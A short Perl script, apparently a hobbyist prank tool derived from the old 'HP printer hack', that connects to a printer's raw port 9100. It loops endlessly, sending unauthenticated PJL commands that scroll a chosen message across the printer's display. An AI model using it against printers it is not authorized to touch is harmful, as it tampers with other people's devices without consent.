#!/usr/bin/perl -w

# based off of hphack.pl by gil cohen sung@lostgeeks.net
# based off of _HP Printer Hack_ by sili@l0pht.com
# written by Schuyler Erle <schuyler@iconocla.st>

use IO::Socket;
use Time::HiRes qw( sleep );
use strict;

sub send_msg {
    my ($host, $msg) = @_;
    my $sock = new IO::Socket::INET (
	PeerAddr => $host,
	PeerPort => 9100,
	Proto => 'tcp',
    );
    unless ( $sock ) {
	warn "Could not create socket: $!\n";
	sleep 2;
	return;
    }

    print $sock qq{\033%-12345X\@PJL RDYMSG DISPLAY = "$msg"\n\033%-12345X\n};
    close($sock);
}

die "$0 <printer host or ip addr> \'message\'\n" unless @ARGV == 2;

my($host,$message) = @ARGV;
$message = (" " x 16) . $message . (" " x 15);

while (1) {
    for (my $i = 0; $i < length($message) - 16; $i++) {
	my $msg = substr($message, $i, 16);
	# print "$msg\n";
	send_msg($host => $msg);
	sleep 1/3;
    }
}

